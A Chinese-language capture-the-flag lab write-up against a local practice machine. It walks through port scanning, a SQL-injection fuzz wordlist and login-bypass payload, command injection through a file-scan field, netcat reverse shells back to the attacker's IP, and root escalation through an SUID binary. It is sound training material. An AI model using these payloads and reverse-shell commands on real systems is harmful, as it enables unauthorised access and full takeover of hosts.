第二周

网络配置跟第一周靶机相同。

image-20230315222340505

信息收集

arp-scan -l -I eth1

image-20230315222520615

扫描到192.168.18.5,我们对这个进行端口的扫描。

image-20230315222609838

这里发现存在8080端口,然后我们对它进行详细的服务扫描。

image-20230315222656195

这里发现还是http服务,由python框架进行搭建。因为是http服务,那我们使用 浏览器打开测试。

image-20230315222814717

image-20230315222920107

这里发现是存在这么一个服务,首先我们需要一个邀请码。因为是一个输入框,那我们可以进行sql注入漏洞测试。

打点

image-20230315223046420

这里可能有一个JRE的什么提示,直接点击勾选略过即可。

然后逐步打开即可,这里因为是社区版所以不需要破解。这里我们进入火狐浏览器再安装一下代理的插件。

image-20230315224122052

image-20230315224141830

下面就不细说了,跟windows上面的一样。

image-20230315224221070

image-20230315224235632

image-20230315224303504

抓包发送到爆破模块进行测试。

这里在桌面创建一个txt

'
"
or
and
|
&
||
&&
^
~
,
)
(
-
+
=
/
*
!
#
as
select
union
substr
ascii
information
from
mid
char
if
into
updatexml
extractvalue
delete
update
insert
join
load_file
outfile
by
echo
hex
mid
like
limit
in
concat
sleep
regex

1'
1 or
1/**/or
1"
1/**/and
mysql.innodb_table_stats
table
exp
order
show
by
ununionion
seselectlect

image-20230315225047518

复制放进去。

image-20230315225116248

image-20230315225136180

我这里是直接放在root的桌面了。然后点击sql.txt进行加载。

image-20230315230119198

这里我们可以发现有双引号的两个payload返回长队不同,而且状态码也不一样。

然后我们查看发现这个是sql语句引发的报错。

image-20230317101825003

这里可以看到目标服务器使用的是sqlite3数据库,然后我们继续往下看。

image-20230317101911640

在这里可以看到执行的sql语句。

select * from code where password="password"

这里password就是我们输入的参数,很明显这里存在一个sql注入漏洞,我们可以尝试构造一下payload,让这个sql语句永远为真。这里注意

if len(c.execute('select * from code where password="' + password + '"').fetchall()) > 0:

这里就是说我们sql语句查询的结果只要条数大于0即可让if为真,所以我们直接使用sql的全集逻辑,构造payload" or "1"="1,

那么服务端执行的sql语句就会变成,这里要注意因为目标sql语句的字段是使用了双引号包裹,所以要注意引号的闭合。

" or "1"="1  #这里后面这个 "1 就是为了闭合原来就存在的一个双引号,如果我们输入 " or "1"="1"  那么服务端的sql语句就是
select * from code where password="" or "1"="1""; 这里就多了一个双引号会报错。
select * from code where password="" or "1"="1";

这里我们就出现了全集逻辑,可以把该表的全部记录查询出来,这里注意。

image-20230317102509145

这样查出来的就是全集逻辑,如果它的逻辑改为:

if len(c.execute('select * from code where password="' + password + '"').fetchall()) == 1:

这里我们就需要再加一点东西了,因为这里只要一条记录,我们全集把所以记录查出来就不符合==1了。

那么payload就需要变成。" or "1"="1" limit 0,1-- ,当然这个payload在我们这个靶机也能使用,因为它只要结果大于0。

#服务端执行的payload
select * from code where password="" or "1"="1" limit 0,1--"; #这里因为我们多了limit 0,1 所以多余的一个双引号需要使用--注释

image-20230317102756124

image-20230317103043222

这里输入payload然后点击登录。

image-20230317103436423

我们进入了这么一个页面,它告诉我们这个是一个云防病毒扫描的功能,我们可以输入文件名让它去进行扫描。这里可以看到这个页面展示的结果很像是ls -l命令的结果。这里就有很充分的理由认为它这个功能实际上就是使用shell去调用了某个二进制程序,然后把我们输入的文件名当作参数去执行扫描,那么这里既然是shell调用命令,那么有可能就会有命令执行漏洞的问题,我们可以使用;分号分隔看一下是否可以执行多个命令。(RCE CTF)

image-20230317103824191

扫描需要几秒钟,耐心等待一下。

image-20230317103856090

这里可以发现我们拼接的id命令被执行了,那说明我们的猜想是正确的。那么这里就可以进行shell

反弹的测试了。

反弹shell

这里这个知识点很重要,直接参考老师的,因为目标机上的nc是没有e参数的。但是我们可以在kali上测试一下。

首先我们打开两个终端,在其中一个终端进行监听

nc -lvp 4444

然后再另一个终端使用e参数来连接。10.0.2.15是我kali的ip地址

nc -e /bin/sh 10.0.2.15 4444

image-20230317110504407

这里可以发现监听的那段收到了连接,然后我们输入命令就可以收到结果了。

image-20230317110621388

可以发现现在nc还可使用-c参数,它的别名就是-e参数

image-20230317110554778

也是可以进行shell的反弹。

回到靶机,这里我们使用老师的方法,进行nc的串联。

image-20230317111203597

在kali的终端启动两个端口的监听,然后再回到网页输入。

;nc 192.168.18.4 3333 | /bin/sh | nc 192.168.18.4 4444  #这里ip改成自己kali的ip,不要复制!!!!!不要忘记前面的分号,分割前面的命令

稍等一会之后,可以看到两个端口都收到了连接。

image-20230317111412154

image-20230317111451496

我们在左边输入命令,在右边就可以得到结果。这是什么情况呢,我们首先需要看一下nc的小功能,他其实就是可以建立两端的连接,比如下面的小例子,这里首先监听本机的5555端口,然后再去连接它,这里模拟是两台不同的机器。这里我们就可以进行对话了。

首先我们在左边输入hello,右边就可以收到信息,右边输入nihaoya,左边也可以看到。这里就是一个简单的聊天室了。

image-20230317111600917

回到上面的命令

nc 192.168.18.4 3333 | /bin/sh | nc 192.168.18.4 4444

未命名文件

这个图一定要理解nc的连接是双向的,就像上面聊天室的例子,我们是可以互通消息的。

继续回到靶机,这里我们可以执行命令发现是个普通用户,这里我们可以思考如何进行提权,这里就直接按着老师的思路走(不去看那个sql文件了我就。你们可以进行尝试)

这里我们回到上级目录然后ls查看

image-20230317121340629

这里查看这个c的源码可以发现它这个程序就是可以接受参数,然后通过调用freshcla再拼接我们传入的参数进行命令执行。

image-20230317121406583

通过ls -l我们可以查看该目录具有SUID(自行百度),使用的时候是通过root的身份去执行的。我们作为普通用户可以看到是有x权限的,那么我们就可以进行执行。这里因为就是参数的拼接执行,那先分隔前面的命令,后面就可以执行我们想要执行的命令了。

image-20230317121527628

然后再来一次串联,这里换成/bin/bash处理,/bin/bash/bin/sh的区别也自行百度了解。

;nc 192.168.18.4 5555 | /bin/bash | nc 192.168.18.4 6666

image-20230317122224813

image-20230317122150133

image-20230317122206061

然后再执行命令,这里就可以发现我们已经是root身份了,因为我们是通过root身份去运行的update_cloudav这个程序,那么这个程序执行的时候也就是root,通过它反弹shell拿到的权限就是root